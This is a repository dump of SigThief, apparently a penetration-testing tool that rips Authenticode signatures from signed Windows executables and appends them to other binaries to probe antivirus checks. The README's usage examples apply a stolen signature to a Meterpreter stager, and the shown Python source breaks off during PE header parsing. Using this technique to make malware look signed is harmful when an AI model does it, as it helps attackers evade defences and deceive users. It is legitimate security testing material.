├── .github └── FUNDING.yml ├── LICENSE ├── README.md └── sigthief.py /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: [secretsquirrel] 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2017, Josh Pitts 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SigThief 2 | 3 | New version available to Dev-tier sponsors: https://github.com/sponsors/secretsquirrel 4 | 5 | Stable tier will have it End of Month August 2021 6 | 7 | --- 8 | Stealing Signatures and Making One Invalid Signature at a Time (Unless you read this: 9 | https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf) 10 | 11 | https://twitter.com/subTee/status/912769644473098240 12 | ![alt text](https://i.imgur.com/T05kwwn.png "https://twitter.com/subTee/status/912769644473098240") 13 | 14 | ## For security professionals only... 15 | 16 | ## What is this? 17 | 18 | I've noticed during testing against Anti-Virus over the years that each is different and each prioritize PE signatures differently, whether the signature is valid or not. There are some Anti-Virus vendors that give priority to certain certificate authorities without checking that the signature is actually valid, and there are those that just check to see that the certTable is populated with some value. It's a mess. 19 | 20 | So I'm releasing this tool to let you quickly do your testing and feel free to report it to vendors or not. 21 | 22 | In short it will rip a signature off a signed PE file and append it to another one, fixing up the certificate table to sign the file. 23 | 24 | Of course it's **not a valid signature** and that's the point! 25 | 26 | I look forward to hearing about your results! 27 | 28 | 29 | ## How to use 30 | 31 | ### Usage 32 | ``` 33 | Usage: sigthief.py [options] 34 | 35 | Options: 36 | -h, --help show this help message and exit 37 | -i FILE, --file=FILE input file 38 | -r, --rip rip signature off inputfile 39 | -a, --add add signautre to targetfile 40 | -o OUTPUTFILE, --output=OUTPUTFILE 41 | output file 42 | -s SIGFILE, --sig=SIGFILE 43 | binary signature from disk 44 | -t TARGETFILE, --target=TARGETFILE 45 | file to append signature too 46 | -c, --checksig file to check if signed; does not verify signature 47 | -T, --truncate truncate signature (i.e. remove sig) 48 | ``` 49 | 50 | ### Take a Signature from a binary and add it to another binary 51 | ``` 52 | $ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe 53 | Output file: /tmp/msftesting_tcpview.exe 54 | Signature appended. 55 | FIN. 56 | ``` 57 | 58 | ### Save Signature to disk for use later 59 | ``` 60 | $ ./sigthief.py -i tcpview.exe -r 61 | Ripping signature to file! 62 | Output file: tcpview.exe_sig 63 | Signature ripped. 64 | FIN. 65 | 66 | ``` 67 | 68 | ### Use the ripped signature 69 | ``` 70 | $ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe 71 | Output file: x86_meterpreter_stager.exe_signed 72 | Signature appended. 73 | FIN. 74 | 75 | ``` 76 | 77 | ### Truncate (remove) signature 78 | This has really interesting results actually, can help you find AVs that value Signatures over functionality of code. Unsign putty.exe ;) 79 | 80 | ``` 81 | $ ./sigthief.py -i tcpview.exe -T 82 | Inputfile is signed! 83 | Output file: tcpview.exe_nosig 84 | Overwriting certificate table pointer and truncating binary 85 | Signature removed. 86 | FIN. 87 | ``` 88 | 89 | ### Check if there is a signature (does not check validity) 90 | ``` 91 | $ ./sigthief.py -i tcpview.exe -c 92 | Inputfile is signed! 93 | ``` 94 | -------------------------------------------------------------------------------- /sigthief.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # LICENSE: BSD-3 3 | # Copyright: Josh Pitts @midnite_runr 4 | 5 | import sys 6 | import struct 7 | import shutil 8 | import io 9 | from optparse import OptionParser 10 | 11 | 12 | def gather_file_info_win(binary): 13 | """ 14 | Borrowed from BDF... 15 | I could just skip to certLOC... *shrug* 16 | """ 17 | flItms = {} 18 | binary = open(binary, 'rb') 19 | binary.seek(int('3C', 16)) 20 | flItms['buffer'] = 0 21 | flItms['JMPtoCodeAddress'] = 0 22 | flItms['dis_frm_pehdrs_sectble'] = 248 23 | flItms['pe_header_location'] = struct.unpack('